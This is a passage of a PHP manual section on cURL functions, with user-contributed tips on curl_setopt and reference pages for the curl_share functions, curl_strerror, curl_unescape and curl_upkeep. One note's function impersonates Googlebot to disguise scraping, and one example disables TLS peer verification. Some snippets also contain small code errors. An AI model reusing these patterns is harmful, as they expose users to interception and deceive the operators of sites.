         curl_setopt($DATA_POST, CURLOPT_COOKIEJAR, 'cookiefile.txt');
        }

        if($referer)
        {
         curl_setopt($DATA_POST, CURLOPT_REFERER, $referer);
        }

        curl_setopt($DATA_POST, CURLOPT_POSTFIELDS, $post);
        $data = curl_exec($DATA_POST);
        if($data == false)
        {
         echo'Warning : ' . curl_error($DATA_POST);
         curl_close($DATA_POST);
         return false;
        }
        else
        {
         curl_close($DATA_POST);
         return $data;
        }
    }
?>
rob 23-Aug-2009 09:07
Whats not mentioned in the documentation is that you have to set CURLOPT_COOKIEJAR to a file for the CURL handle to actually use cookies, if it is not set then cookies will not be parsed.
Sylvain R 28-Jul-2009 03:05
When you are using CURLOPT_FILE to download directly into a file you must close the file handler after the curl_close() otherwise the file will be incomplete and you will not be able to use it until the end of the execution of the php process.

<?php

$fh = fopen('/tmp/foo', 'w');
$ch = curl_init('http://example.com/foo');
curl_setopt($ch, CURLOPT_FILE, $fh);
curl_exec($ch);
curl_close($ch);

# at this point your file is not complete and corrupted

fclose($fh);

# now you can use your file;

read_file('/tmp/foo');

?>
Victor Jerlin 03-Jul-2009 04:12
Seems like some options not mentioned on this page, but listed on http://curl.haxx.se/libcurl/c/curl_easy_setopt.html is actually supported.

I was happy to see that I could actually use CURLOPT_FTP_CREATE_MISSING_DIRS even from PHP.
xektrum at gmail dot com 02-Jul-2009 09:14
As of php 5.3 CURLOPT_PROGRESSFUNCTION its supported here's how:

<?php

function callback($download_size, $downloaded, $upload_size, $uploaded)
{
    // do your progress stuff here
}

$ch = curl_init('http://www.example.com');

// This is required to curl give us some progress
// if this is not set to false the progress function never
// gets called
curl_setopt($ch, CURLOPT_NOPROGRESS, false);

// Set up the callback
curl_setopt($ch, CURLOPT_PROGRESSFUNCTION, 'callback');

// Big buffer less progress info/callbacks
// Small buffer more progress info/callbacks
curl_setopt($ch, CURLOPT_BUFFERSIZE, 128);

$data = curl_exec($ch);

?>

Hope this help.
Andrew 14-Jun-2009 04:56
I noticed that if you want to get current cookie file after curl_exec() - you need to close current curl handle (like it said in manual), but if you want cookies to be dumped to file after any curl_exec (without curl_close) you can:

<?php
#call it normally
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_COOKIEFILE, "cookiefile");
curl_setopt($ch, CURLOPT_COOKIEJAR, "cookiefile");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_URL, 'http://www.example.com/');
$result1 = curl_exec($ch);

#and then  make a temp copy
$ch_temp=curl_copy_handle(ch);
curl_close($ch);
$ch=$ch_temp;
?>

Only this way, if you close $ch_temp - cookies wont be dumped.
urkle at outoforder dot cc 28-Jan-2009 06:49
To send a post as a different content-type (ie.. application/json or text/xml) add this setopt call

<?php
curl_setopt($ch, CURLOPT_HTTPHEADER,array('Content-Type: application/json'));
?>
fnjordy at gmail dot com 30-Nov-2008 11:28
Note that CURLOPT_RETURNTRANSFER when used with CURLOPT_WRITEFUNCTION has effectively three settings: default, true, and false.

default - callbacks will be called as expected.
true - content will be returned but callback function will not be called.
false - content will be output and callback function will not be called.

Note that CURLOPT_HEADERFUNCTION callbacks are always called.
saidk at phirebranding dot com 19-Nov-2008 01:31
Passing in PHP's $_SESSION into your cURL call:

<?php
session_start();
$strCookie = 'PHPSESSID=' . $_COOKIE['PHPSESSID'] . '; path=/';
session_write_close();

$curl_handle = curl_init('enter_external_url_here');
curl_setopt( $curl_handle, CURLOPT_COOKIE, $strCookie );
curl_exec($curl_handle);
curl_close($curl_handle);
?>

This worked great for me.  I was calling pages from the same server and needed to keep the $_SESSION variables.  This passes them over.  If you want to test, just print_r($_SESSION);

Enjoy!
fred at themancan dot com 05-Aug-2008 04:28
To find what encoding a given HTTP POST request uses is easy -- passing an array to CURLOPT_POSTFIELDS results in  multipart/form-data:

<?php
curl_setopt(CURLOPT_POSTFIELDS, array('field1' => 'value'));
?>

Passing a URL-encoded string will result in application/x-www-form-urlencoded:

<?php
curl_setopt(CURLOPT_POSTFIELDS, array('field1=value&field2=value2'));
?>

I ran across this when integrating with both a warehouse system and an email system; neither would accept multipart/form-data, but both happily accepted application/x-www-form-urlencoded.
ac at an dot y-co dot de 10-Jul-2008 10:08
If you want to connect to a server which requires that you identify yourself with a certificate, use following code. Your certificate and servers certificate are signed by an authority whose certificate is in ca.ctr.

<?php
curl_setopt($ch, CURLOPT_VERBOSE, '1');
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, '2');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, '1');
curl_setopt($ch, CURLOPT_CAINFO,  getcwd().'/cert/ca.crt');
curl_setopt($ch, CURLOPT_SSLCERT, getcwd().'/cert/mycert.pem');
curl_setopt($ch, CURLOPT_SSLCERTPASSWD, 'password');
?>

If your original certificate is in .pfx format, you have to convert it to .pem using following commands
# openssl pkcs12 -in mycert.pfx -out mycert.key
# openssl rsa -in mycert.key -out mycert.pem
# openssl x509 -in mycert.key >> mycert.pem
Salil Kothadia 19-Jun-2008 09:02
In PHP5, for the "CURLOPT_POSTFIELDS" option, we can use:

<?php
$ch = curl_init($URI);
$Post = http_build_query($PostData);
curl_setopt($ch, CURLOPT_POSTFIELDS, $Post);
$Output = curl_exec($ch);
curl_close($ch);
?>
sgamon at yahoo dot com 09-Apr-2008 05:55
If you are doing a POST, and the content length is 1,025 or greater, then curl exploits a feature of http 1.1: 100 (Continue) Status.

See http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html#sec8.2.3

* it adds a header, "Expect: 100-continue".
* it then sends the request head, waits for a 100 response code, then sends the content

Not all web servers support this though.  Various errors are returned depending on the server.  If this happens to you, suppress the "Expect" header with this command:

<?php
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
?>

See http://www.gnegg.ch/2007/02/the-return-of-except-100-continue/
c00lways at gmail dot com 04-Mar-2008 01:16
if you would like to send xml request to a server (lets say, making a soap proxy),
you have to set

<?php
curl_setopt($ch, CURLOPT_HTTPHEADER, Array("Content-Type: text/xml"));
?>

makesure you watch for cache issue:
the below code will prevent cache...

<?php
curl_setopt($ch, CURLOPT_FORBID_REUSE, 1);
curl_setopt($ch, CURLOPT_FRESH_CONNECT, 1);
?>

hope it helps ;)
jade dot skaggs at gmail dot com 07-Jan-2008 09:48
After much struggling, I managed to get a SOAP request requiring HTTP authentication to work.  Here's some source that will hopefully be useful to others.

         <?php

         $credentials = "username:password";

         // Read the XML to send to the Web Service
         $request_file = "./SampleRequest.xml";
        $fh = fopen($request_file, 'r');
        $xml_data = fread($fh, filesize($request_file));
        fclose($fh);

        $url = "http://www.example.com/services/calculation";
        $page = "/services/calculation";
        $headers = array(
            "POST ".$page." HTTP/1.0",
            "Content-type: text/xml;charset=\"utf-8\"",
            "Accept: text/xml",
            "Cache-Control: no-cache",
            "Pragma: no-cache",
            "SOAPAction: \"run\"",
            "Content-length: ".strlen($xml_data),
            "Authorization: Basic " . base64_encode($credentials)
        );

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL,$url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 60);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($ch, CURLOPT_USERAGENT, $defined_vars['HTTP_USER_AGENT']);

        // Apply the XML to our curl call
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $xml_data);

        $data = curl_exec($ch);

        if (curl_errno($ch)) {
            print "Error: " . curl_error($ch);
        } else {
            // Show me the result
            var_dump($data);
            curl_close($ch);
        }

?>
Ojas Ojasvi 25-Sep-2007 10:52
<?php
/*
* Author: Ojas Ojasvi
* Released: September 25, 2007
* Description: An example of the disguise_curl() function in order to grab contents from a website while remaining fully camouflaged by using a fake user agent and fake headers.
*/

$url = 'http://www.php.net';

// disguises the curl using fake headers and a fake user agent.
function disguise_curl($url)
{
  $curl = curl_init();

  // Setup headers - I used the same headers from Firefox version 2.0.0.6
  // below was split up because php.net said the line was too long. :/
  $header[0] = "Accept: text/xml,application/xml,application/xhtml+xml,";
  $header[0] .= "text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
  $header[] = "Cache-Control: max-age=0";
  $header[] = "Connection: keep-alive";
  $header[] = "Keep-Alive: 300";
  $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
  $header[] = "Accept-Language: en-us,en;q=0.5";
  $header[] = "Pragma: "; // browsers keep this blank.

  curl_setopt($curl, CURLOPT_URL, $url);
  curl_setopt($curl, CURLOPT_USERAGENT, 'Googlebot/2.1 (+http://www.google.com/bot.html)');
  curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
  curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
  curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
  curl_setopt($curl, CURLOPT_AUTOREFERER, true);
  curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($curl, CURLOPT_TIMEOUT, 10);

  $html = curl_exec($curl); // execute the curl command
  curl_close($curl); // close the connection

  return $html; // and finally, return $html
}

// uses the function and displays the text off the website
$text = disguise_curl($url);
echo $text;
?>

Ojas Ojasvi
ashw1 - at - no spam - post - dot - cz 03-Jun-2007 04:51
In case you wonder how come, that cookies don't work under Windows, I've googled for some answers, and here is the result: Under WIN you need to input absolute path of the cookie file.

This piece of code solves it:

<?php

if ($cookies != '')
    {
    if (substr(PHP_OS, 0, 3) == 'WIN')
        {$cookies = str_replace('\\','/', getcwd().'/'.$cookies);}
    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookies);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookies);
    }

?>
rob at infoglobe dot net 24-Apr-2007 09:01
Options not included in the above, but that work (Taken from the libcurl.a C documentation)

CURLOPT_FTP_SSL

Pass a long using one of the values from below, to make libcurl use your desired level of SSL for the ftp transfer. (Added in 7.11.0)

CURLFTPSSL_NONE

Don't attempt to use SSL.

CURLFTPSSL_TRY

Try using SSL, proceed as normal otherwise.

CURLFTPSSL_CONTROL

Require SSL for the control connection or fail with CURLE_FTP_SSL_FAILED.

CURLFTPSSL_ALL

Require SSL for all communication or fail with CURLE_FTP_SSL_FAILED.
eion at bigfoot dot com 21-Nov-2006 08:40
If you are trying to use CURLOPT_FOLLOWLOCATION and you get this warning:
Warning: curl_setopt() [function.curl-setopt]: CURLOPT_FOLLOWLOCATION cannot be activated when in safe_mode or an open_basedir is set...

then you will want to read http://www.php.net/ChangeLog-4.php which says "Disabled CURLOPT_FOLLOWLOCATION in curl when open_basedir or safe_mode are enabled." as of PHP 4.4.4/5.1.5.  This is due to the fact that curl is not part of PHP and doesn't know the values of open_basedir or safe_mode, so you could comprimise your webserver operating in safe_mode by redirecting (using header('Location: ...')) to "file://" urls, which curl would have gladly retrieved.

Until the curl extension is changed in PHP or curl (if it ever will) to deal with "Location:" headers, here is a far from perfect remake of the curl_exec function that I am using.

Since there's no curl_getopt function equivalent, you'll have to tweak the function to make it work for your specific use.  As it is here, it returns the body of the response and not the header.  It also doesn't deal with redirection urls with username and passwords in them.

<?php
    function curl_redir_exec($ch)
    {
        static $curl_loops = 0;
        static $curl_max_loops = 20;
        if ($curl_loops++ >= $curl_max_loops)
        {
            $curl_loops = 0;
            return FALSE;
        }
        curl_setopt($ch, CURLOPT_HEADER, true);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $data = curl_exec($ch);
        list($header, $data) = explode("\n\n", $data, 2);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if ($http_code == 301 || $http_code == 302)
        {
            $matches = array();
            preg_match('/Location:(.*?)\n/', $header, $matches);
            $url = @parse_url(trim(array_pop($matches)));
            if (!$url)
            {
                //couldn't process the url to redirect to
                $curl_loops = 0;
                return $data;
            }
            $last_url = parse_url(curl_getinfo($ch, CURLINFO_EFFECTIVE_URL));
            if (!$url['scheme'])
                $url['scheme'] = $last_url['scheme'];
            if (!$url['host'])
                $url['host'] = $last_url['host'];
            if (!$url['path'])
                $url['path'] = $last_url['path'];
            $new_url = $url['scheme'] . '://' . $url['host'] . $url['path'] . ($url['query']?'?'.$url['query']:'');
            curl_setopt($ch, CURLOPT_URL, $new_url);
            debug('Redirecting to', $new_url);
            return curl_redir_exec($ch);
        } else {
            $curl_loops=0;
            return $data;
        }
    }
?>
php at miggy dot org 23-Aug-2006 10:35
Note that if you want to use a proxy and use it as a _cache_, you'll have to do:

<?php curl_setopt($ch, CURLOPT_HTTPHEADER, array("Pragma: ")); ?>

else by default Curl puts a "Pragma: no-cache" header in and thus force cache misses for all requests.
Philippe dot Jausions at 11abacus dot com 30-May-2006 11:31
Clarification on the callback methods:

- CURLOPT_HEADERFUNCTION is for handling header lines received *in the response*,
- CURLOPT_WRITEFUNCTION is for handling data received *from the response*,
- CURLOPT_READFUNCTION is for handling data passed along *in the request*.

The callback "string" can be any callable function, that includes the array(&$obj, 'someMethodName') format.

 -Philippe
mr at coder dot tv 14-Apr-2006 07:22
Sometimes you can't use CURLOPT_COOKIEJAR and CURLOPT_COOKIEFILE becoz of the server php-settings(They say u may grab any files from server using these options). Here is the solution
1)Don't use CURLOPT_FOLLOWLOCATION
2)Use curl_setopt($ch, CURLOPT_HEADER, 1)
3)Grab from the header cookies like this:
preg_match_all('|Set-Cookie: (.*);|U', $content, $results);
$cookies = implode(';', $results[1]);
4)Set them using curl_setopt($ch, CURLOPT_COOKIE,  $cookies);

Good Luck, Yevgen
luca dot manzo at bbsitalia dot com 02-Feb-2006 03:55
If you're getting trouble with cookie handling in curl:

- curl manages tranparently cookies in a single curl session
- the option
<?php curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookieFileName"); ?>

makes curl to store the cookies in a file at the and of the curl session

- the option
<?php curl_setopt($ch, CURLOPT_COOKIEFILE, "/tmp/cookieFileName"); ?>

makes curl to use the given file as source for the cookies to send to the server.

so to handle correctly cookies between different curl session, the you have to do something like this:

<?php
       $ch = curl_init();
       curl_setopt ($ch, CURLOPT_URL, $url);
       curl_setopt ($ch, CURLOPT_COOKIEJAR, COOKIE_FILE_PATH);
       curl_setopt ($ch, CURLOPT_COOKIEFILE, COOKIE_FILE_PATH);

       curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
       $result = curl_exec ($ch);
       curl_close($ch);
       return $result;
?>

in particular this is NECESSARY if you are using PEAR_SOAP libraries to build a webservice client over https and the remote server need to establish a session cookie. in fact each soap message is sent using a different curl session!!

I hope this can help someone
Luca
Dustin Hawkins 27-Dec-2005 02:24
To further expand upon use of CURLOPT_CAPATH and CURLOPT_CAINFO...

In my case I wanted to prevent curl from talking to any HTTPS server except my own using a self signed certificate. To do this, you'll need openssl installed and access to the HTTPS Server Certificate (server.crt by default on apache)

You can then use a command simiar to this to translate your apache certificate into one that curl likes.

$ openssl x509 -in server.crt -out outcert.pem -text

Then set CURLOPT_CAINFO equal to the the full path to outcert.pem and turn on CURLOPT_SSL_VERIFYPEER.

If you want to use the CURLOPT_CAPATH option, you should create a directory for all the valid certificates you have created, then use the c_rehash script that is included with openssl to "prepare" the directory.

If you dont use the c_rehash utility, curl will ignore any file in the directory you set.
skyogre __at__ yandex __dot__ ru 22-Dec-2005 02:13
There is really a problem of transmitting $_POST data with curl in php 4+ at least.
I improved the encoding function by Alejandro Moreno to work properly with mulltidimensional arrays.

<?php
function data_encode($data, $keyprefix = "", $keypostfix = "") {
  assert( is_array($data) );
  $vars=null;
  foreach($data as $key=>$value) {
    if(is_array($value)) $vars .= data_encode($value, $keyprefix.$key.$keypostfix.urlencode("["), urlencode("]"));
    else $vars .= $keyprefix.$key.$keypostfix."=".urlencode($value)."&";
  }
  return $vars;
}

curl_setopt($ch, CURLOPT_POSTFIELDS, substr(data_encode($_POST), 0, -1) );

?>
ROXORT at TGNOOB dot FR 21-Sep-2005 07:09
<?php
/*
  Here is a script that is usefull to :
  - login to a POST form,
  - store a session cookie,
  - download a file once logged in.
*/

// INIT CURL
$ch = curl_init();

// SET URL FOR THE POST FORM LOGIN
curl_setopt($ch, CURLOPT_URL, 'http://www.example.com/Members/Login.php');

// ENABLE HTTP POST
curl_setopt ($ch, CURLOPT_POST, 1);

// SET POST PARAMETERS : FORM VALUES FOR EACH FIELD
curl_setopt ($ch, CURLOPT_POSTFIELDS, 'fieldname1=fieldvalue1&fieldname2=fieldvalue2');

// IMITATE CLASSIC BROWSER'S BEHAVIOUR : HANDLE COOKIES
curl_setopt ($ch, CURLOPT_COOKIEJAR, 'cookie.txt');

# Setting CURLOPT_RETURNTRANSFER variable to 1 will force cURL
# not to print out the results of its query.
# Instead, it will return the results as a string return value
# from curl_exec() instead of the usual true/false.
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);

// EXECUTE 1st REQUEST (FORM LOGIN)
$store = curl_exec ($ch);

// SET FILE TO DOWNLOAD
curl_setopt($ch, CURLOPT_URL, 'http://www.example.com/Members/Downloads/AnnualReport.pdf');

// EXECUTE 2nd REQUEST (FILE DOWNLOAD)
$content = curl_exec ($ch);

// CLOSE CURL
curl_close ($ch);

/*
  At this point you can do do whatever you want
  with the downloaded file stored in $content :
  display it, save it as file, and so on.
*/
?>
michaeledwards.com 01-Jun-2005 02:57
Problems can occur if you mix CURLOPT_URL with a 'Host:' header in CURLOPT_HEADERS on redirects because cURL will combine the host you explicitly stated in the 'Host:' header with the host from the Location: header of the redirect response.

In short, don't do this:

<?php
$host = "www.example.com";
$url = "http://$host/";

$headers = array("Host: $host");

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

Do this instead:

$host = "www.example.com";
$url = "http://$host/";

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
?>
ron at ttvavanti dot nl 07-May-2004 08:00
If you specify a CAINFO, note that the file must be in PEM format! (If not, it won't work).
Using Openssl you can use:
openssl x509 -in <cert> -inform d -outform PEM -out cert.pem
To create a pem formatted certificate from a binary certificate (the one you get if you download the ca somewhere).
dweingart at pobox dot com 02-Apr-2003 03:08
If you want to Curl to follow redirects and you would also like Curl to echo back any cookies that are set in the process, use this:

<?php curl_setopt($ch, CURLOPT_COOKIEJAR, '-'); ?>

'-' means stdout

-dw
yann dot corno at free dot fr 13-Nov-2002 04:19
About the CURLOPT_HTTPHEADER option, it took me some time to figure out how to format the so-called 'Array'. It fact, it is a list of strings. If Curl was already defining a header item, yours will replace it. Here is an example to change the Content Type in a POST:

<?php curl_setopt ($ch, CURLOPT_HTTPHEADER, Array("Content-Type: text/xml")); ?>

Yann


关闭 cURL 共享句柄

  • ? curl_setopt
  • curl_share_errno ?
  • PHP Manual
  • cURL 函数
  • 关闭 cURL 共享句柄

curl_share_close

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

curl_share_close — 关闭 cURL 共享句柄

说明

curl_share_close(CurlShareHandle $share_handle): void

Note:

此函数无效。在 PHP 8.0.0 之前，用于关闭资源。

关闭 cURL 共享句柄并且释放所有的资源。

参数

share_handle

A cURL share handle returned by curl_share_init().

返回值

没有返回值。

更新日志

版本 | 说明
8.0.0 | share_handle expects a CurlShareHandle instance now; previously, a resource was expected.

示例

Example #1 curl_share_setopt() 示例

以下示例将会创建 cURL 共享句柄，并且往其中添加两个 cURL 句柄，最后共享这两个 cURL 句柄的 cookie 数据运行。

<?php
// Create cURL share handle and set it to share cookie data
$sh = curl_share_init();
curl_share_setopt($sh, CURLSHOPT_SHARE, CURL_LOCK_DATA_COOKIE);

// Initialize the first cURL handle and assign the share handle to it
$ch1 = curl_init("http://example.com/");
curl_setopt($ch1, CURLOPT_SHARE, $sh);

// Execute the first cURL handle
curl_exec($ch1);

// Initialize the second cURL handle and assign the share handle to it
$ch2 = curl_init("http://php.net/");
curl_setopt($ch2, CURLOPT_SHARE, $sh);

// Execute the second cURL handle
// all cookies from $ch1 handle are shared with $ch2 handle
curl_exec($ch2);

// Close the cURL share handle
curl_share_close($sh);

// Close the cURL handles
curl_close($ch1);
curl_close($ch2);
?>

参见

  • curl_share_init() - 初始化 cURL 共享句柄

User Contributed Notes

There are no user contributed notes for this page.


返回共享 curl 句柄的最后一次错误编号

  • ? curl_share_close
  • curl_share_init ?
  • PHP Manual
  • cURL 函数
  • 返回共享 curl 句柄的最后一次错误编号

curl_share_errno

(PHP 7 >= 7.1.0, PHP 8)

curl_share_errno — 返回共享 curl 句柄的最后一次错误编号

说明

curl_share_errno(CurlShareHandle $share_handle): int

返回整数，表示共享 curl 句柄的最后一次错误编号。

参数

share_handle

A cURL share handle returned by curl_share_init().

返回值

返回整数，表示共享 curl 句柄的最后一次错误编号。

更新日志

版本 | 说明
8.0.0 | 失败时函数不再返回 false。
8.0.0 | share_handle expects a CurlShareHandle instance now; previously, a resource was expected.

参见

  • curl_errno() - 返回最后一次的错误代码

User Contributed Notes

There are no user contributed notes for this page.


初始化 cURL 共享句柄

  • ? curl_share_errno
  • curl_share_setopt ?
  • PHP Manual
  • cURL 函数
  • 初始化 cURL 共享句柄

curl_share_init

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

curl_share_init — 初始化 cURL 共享句柄

说明

curl_share_init(): CurlShareHandle

允许在 cURL 句柄之间共享数据。

参数

此函数没有参数。

返回值

返回 cURL 共享句柄。

更新日志

版本 | 说明
8.0.0 | 此函数现在返回 CurlShareHandle 实例，之前返回 resource。

示例

Example #1 curl_share_init() 示例

以下示例将会创建 cURL 共享句柄，并且往其中添加两个 cURL 句柄，最后用共享的 cookie 数据运行它们。

<?php
// 创建 cURL 共享句柄，并设置共享 cookie 数据
$sh = curl_share_init();
curl_share_setopt($sh, CURLSHOPT_SHARE, CURL_LOCK_DATA_COOKIE);

// 初始化第一个 cURL 句柄，并将它设置到共享句柄
$ch1 = curl_init("http://example.com/");
curl_setopt($ch1, CURLOPT_SHARE, $sh);

// 执行第一个 cURL 句柄
curl_exec($ch1);

// 初始化第二个 cURL 句柄，并将它设置到共享句柄
$ch2 = curl_init("http://php.net/");
curl_setopt($ch2, CURLOPT_SHARE, $sh);

// 执行第二个 cURL 句柄
// all cookies from $ch1 handle are shared with $ch2 handle
curl_exec($ch2);

// 关闭 cURL 共享句柄
curl_share_close($sh);

// 关闭 cURL 共享句柄
curl_close($ch1);
curl_close($ch2);
?>

参见

  • curl_share_setopt() - 为 cURL 共享句柄设置选项
  • curl_share_close() - 关闭 cURL 共享句柄

User Contributed Notes

Robert Chapin 24-Jun-2017 06:15
Cookie handling is DISABLED by default.  The following must be used prior to CURLOPT_SHARE.

curl_setopt($ch1, CURLOPT_COOKIEFILE, "");
curl_setopt($ch2, CURLOPT_COOKIEFILE, "");

Also, do not attempt to use CURLOPT_SHARE with curl_setopt_array because this can cause the options to be set in the wrong order, which will fail.


为 cURL 共享句柄设置选项

  • ? curl_share_init
  • curl_share_strerror ?
  • PHP Manual
  • cURL 函数
  • 为 cURL 共享句柄设置选项

curl_share_setopt

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

curl_share_setopt — 为 cURL 共享句柄设置选项

说明

curl_share_setopt(CurlShareHandle $share_handle, int $option, mixed $value): bool

为指定的 cURL 共享句柄设置选项。

参数

share_handle

A cURL share handle returned by curl_share_init().

option

Option | Description
CURLSHOPT_SHARE | 指定要共享的数据类型。
CURLSHOPT_UNSHARE | 指定不再共享的数据类型。

value

Value | Description
CURL_LOCK_DATA_COOKIE | 共享 cookie 数据。
CURL_LOCK_DATA_DNS | 共享 DNS 缓存。注意，当你使用 cURL 多句柄时，默认所有添加在同一个多句柄的句柄都将会共享 DNS 缓存。
CURL_LOCK_DATA_SSL_SESSION | 共享 SSL 的 session ID, 在重连同样的服务器时减少 SSL 握手时间。注意，SSL 的 session ID 在同一个的句柄中默认是重复使用的。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | share_handle expects a CurlShareHandle instance now; previously, a resource was expected.

示例

Example #1 curl_share_setopt() 示例

以下示例将会创建 cURL 共享句柄，并且往其中添加两个 cURL 句柄，最后共享这两个 cURL 句柄的 cookie 数据运行。

<?php
// Create cURL share handle and set it to share cookie data
$sh = curl_share_init();
curl_share_setopt($sh, CURLSHOPT_SHARE, CURL_LOCK_DATA_COOKIE);

// Initialize the first cURL handle and assign the share handle to it
$ch1 = curl_init("http://example.com/");
curl_setopt($ch1, CURLOPT_SHARE, $sh);

// Execute the first cURL handle
curl_exec($ch1);

// Initialize the second cURL handle and assign the share handle to it
$ch2 = curl_init("http://php.net/");
curl_setopt($ch2, CURLOPT_SHARE, $sh);

// Execute the second cURL handle
// all cookies from $ch1 handle are shared with $ch2 handle
curl_exec($ch2);

// Close the cURL share handle
curl_share_close($sh);

// Close the cURL handles
curl_close($ch1);
curl_close($ch2);
?>

User Contributed Notes

There are no user contributed notes for this page.


返回错误编号对应的错误消息

  • ? curl_share_setopt
  • curl_strerror ?
  • PHP Manual
  • cURL 函数
  • 返回错误编号对应的错误消息

curl_share_strerror

(PHP 7 >= 7.1.0, PHP 8)

curl_share_strerror — 返回错误编号对应的错误消息

说明

curl_share_strerror(int $error_code): ?string

返回错误编号对应的错误消息。

参数

error_code

某个 » cURL 错误代码常量。

返回值

返回错误描述。错误代码无效则为 null。

参见

  • curl_share_errno() - 返回共享 curl 句柄的最后一次错误编号
  • curl_strerror() - 返回错误代码的字符串描述

User Contributed Notes

There are no user contributed notes for this page.


返回错误代码的字符串描述

  • ? curl_share_strerror
  • curl_unescape ?
  • PHP Manual
  • cURL 函数
  • 返回错误代码的字符串描述

curl_strerror

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

curl_strerror — 返回错误代码的字符串描述

说明

curl_strerror(int $error_code): ?string

返回指定错误代码的文本错误信息描述。

参数

error_code

» cURL 错误代码中的常量之一。

返回值

返回错误信息描述，无效的错误代码返回 null。

示例

Example #1 curl_errno() 示例

<?php
// 以错拼的 URL 协议创建 curl 句柄
$ch = curl_init("htp://example.com/");

// 发送请求
curl_exec($ch);

// 检测错误，显示错误信息
if($errno = curl_errno($ch)) {
$error_message = curl_strerror($errno);
echo "cURL error ({$errno}):\n {$error_message}";
}

// 关闭句柄
curl_close($ch);
?>

以上示例会输出：

cURL error (1):
 Unsupported protocol

参见

  • curl_errno() - 返回最后一次的错误代码
  • curl_error() - 返回当前会话最后一次错误的字符串
  • » Curl 错误代码

User Contributed Notes

There are no user contributed notes for this page.


解码指定 URL 编码的字符串

  • ? curl_strerror
  • curl_upkeep ?
  • PHP Manual
  • cURL 函数
  • 解码指定 URL 编码的字符串

curl_unescape

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

curl_unescape — 解码指定 URL 编码的字符串

说明

curl_unescape(CurlHandle $handle, string $string): string|false

该函数解码指定 URL 编码的字符串。

参数

handle

由 curl_init() 返回的 cURL 句柄。

string

需要解码的 URL 编码字符串。

返回值

返回解码后的字符串 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | handle 现在接受 CurlHandle 实例；之前接受 resource。

示例

Example #1 curl_escape() 示例

<?php
// 创建 curl 句柄
$ch = curl_init('http://example.com/redirect.php');

// 发送 HTTP 请求并且遵循重定向
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);

// 获取最后的有效 URL
$effective_url = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);
// 结果： "http://example.com/show_location.php?loc=M%C3%BCnchen"

// 解码这个 URL
$effective_url_decoded = curl_unescape($ch, $effective_url);
// "http://example.com/show_location.php?loc=München"

// 关闭句柄
curl_close($ch);
?>

注释

Note:

curl_unescape() 不会将加号 (+) 解码成空格。而 urldecode() 会。

参见

  • curl_escape() - 使用 URL 编码给定的字符串
  • urlencode() - 编码 URL 字符串
  • urldecode() - 解码已编码的 URL 字符串
  • rawurlencode() - 按照 RFC 3986 对 URL 进行编码
  • rawurldecode() - 对已编码的 URL 字符串进行解码

User Contributed Notes

There are no user contributed notes for this page.


Performs any connection upkeep checks

  • ? curl_unescape
  • curl_version ?
  • PHP Manual
  • cURL 函数
  • Performs any connection upkeep checks

curl_upkeep

(PHP 8 >= 8.2.0)

curl_upkeep — Performs any connection upkeep checks

说明

curl_upkeep(CurlHandle $handle): bool

Available if built against libcurl >= 7.62.0.

Some protocols have "connection upkeep" mechanisms. These mechanisms usually send some traffic on existing connections in order to keep them alive; this can prevent connections from being closed due to overzealous firewalls, for example.

Connection upkeep is currently available only for HTTP/2 connections. A small amount of traffic is usually sent to keep a connection alive. HTTP/2 maintains its connection by sending a HTTP/2 PING frame.

参数

handle

由 curl_init() 返回的 cURL 句柄。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 curl_upkeep() example

<?php
$url = "https://example.com";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_2_0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_UPKEEP_INTERVAL_MS, 200);
if (curl_exec($ch)) {
usleep(300);
var_dump(curl_upkeep($ch));
}
curl_close($ch);
?>

参见

  • curl_init() - 初始化 cURL 会话

User Contributed Notes

There are no user contributed notes for this page.


获取 cURL 版本信息

  • ? curl_upkeep
  • CurlHandle ?
  • PHP Manual
  • cURL 函数
  • 获取 cURL 版本信息

curl_version

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

curl_version — 获取 cURL 版本信息

说明

curl_version(): array|false

返回关于 cURL 版本的信息。

参数

此函数没有参数。

返回值

